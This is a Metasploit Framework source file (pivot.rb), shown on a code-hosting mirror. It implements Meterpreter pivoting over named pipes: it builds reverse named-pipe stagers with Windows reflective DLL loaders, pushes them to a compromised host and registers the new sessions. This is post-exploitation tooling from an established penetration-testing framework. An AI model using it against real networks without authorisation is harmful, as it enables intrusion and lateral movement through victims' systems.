CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/pivot.rb
Views: 11784
1
# -*- coding: binary -*-
2
3
require 'rex/post/meterpreter/inbound_packet_handler'
4
require 'securerandom'
5
6
module Rex
7
module Post
8
module Meterpreter
9
10
class PivotListener
11
attr_accessor :id
12
13
attr_accessor :session_class
14
15
attr_accessor :url
16
17
attr_accessor :stage
18
19
def initialize(session_class, url, stage)
20
self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
21
self.session_class = session_class
22
self.url = url
23
self.stage = stage
24
end
25
26
def to_row
27
[self.id.unpack('H*')[0], url, stage]
28
end
29
end
30
31
class Pivot
32
33
#
34
# The associated meterpreter client instance
35
#
36
attr_accessor :client
37
38
attr_accessor :pivoted_session
39
40
# Class modifications to support global pivot message
41
# dispatching without having to register a per-instance handler
42
class << self
43
include Rex::Post::Meterpreter::InboundPacketHandler
44
45
# Class request handler for all channels that dispatches requests
46
# to the appropriate class instance's DIO handler
47
def request_handler(client, packet)
48
handled = false
49
if packet.method == COMMAND_ID_CORE_PIVOT_SESSION_NEW
50
handled = true
51
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
52
listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
53
client.add_pivot_session(Pivot.new(client, session_guid, listener_id))
54
elsif packet.method == COMMAND_ID_CORE_PIVOT_SESSION_DIED
55
handled = true
56
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
57
pivot = client.find_pivot_session(session_guid)
58
if pivot
59
pivot.pivoted_session.kill('Died')
60
client.remove_pivot_session(session_guid)
61
end
62
end
63
handled
64
end
65
end
66
67
def Pivot.get_listeners(client)
68
client.pivot_listeners
69
end
70
71
def Pivot.remove_listener(client, listener_id)
72
if client.find_pivot_listener(listener_id)
73
request = Packet.create_request(COMMAND_ID_CORE_PIVOT_REMOVE)
74
request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)
75
client.send_request(request)
76
client.remove_pivot_listener(listener_id)
77
end
78
end
79
80
def Pivot.create_named_pipe_listener(client, opts={})
81
request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)
82
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
83
84
# TODO: use the framework to generate the whole lot, including a session type
85
c = Class.new(::Msf::Payload)
86
c.include(::Msf::Payload::Stager)
87
c.include(::Msf::Payload::TransportConfig)
88
c.include(::Msf::Sessions::MeterpreterOptions)
89
90
# TODO: add more platforms
91
case opts[:platform]
92
when 'windows'
93
# Include the appropriate reflective dll injection module for the target process architecture...
94
if opts[:arch] == ARCH_X86
95
c.include(::Msf::Payload::Windows::MeterpreterLoader)
96
elsif opts[:arch] == ARCH_X64
97
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
98
else
99
STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")
100
end
101
end
102
103
stage_opts = {
104
arch: opts[:arch],
105
force_write_handle: true,
106
null_session_guid: true,
107
datastore: {
108
exit_func: opts[:exit_func] || 'process',
109
expiration: client.expiration,
110
comm_timeout: client.comm_timeout,
111
retry_total: client.retry_total,
112
retry_wait: client.retry_wait,
113
'PIPEHOST' => opts[:pipe_host],
114
'PIPENAME' => opts[:pipe_name]
115
}
116
}
117
118
# Create the migrate stager
119
stager = c.new()
120
121
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
122
stage = stager.stage_payload(stage_opts)
123
124
url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"
125
stage_config = "#{opts[:arch]}/#{opts[:platform]}"
126
pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)
127
128
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
129
request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
130
131
client.send_request(request)
132
133
client.add_pivot_listener(pivot_listener)
134
135
pivot_listener
136
end
137
138
def initialize(client, session_guid, listener_id)
139
self.client = client
140
141
opts = {
142
pivot_session: client,
143
session_guid: session_guid
144
}
145
146
listener = client.find_pivot_listener(listener_id)
147
self.pivoted_session = listener.session_class.new(nil, opts)
148
149
self.pivoted_session.framework = self.client.framework
150
registration = Proc.new do
151
self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})
152
self.client.framework.sessions.register(self.pivoted_session)
153
154
begin
155
self.client.framework.events.on_session_open(self.pivoted_session)
156
rescue ::Exception => e
157
wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
158
wlog("Call Stack\n#{e.backtrace.join("\n")}")
159
end
160
end
161
self.client.framework.sessions.schedule registration
162
end
163
164
protected
165
166
#
167
# Cleans up any lingering resources
168
#
169
def cleanup
170
end
171
172
end
173
174
end; end; end
175
176
177
178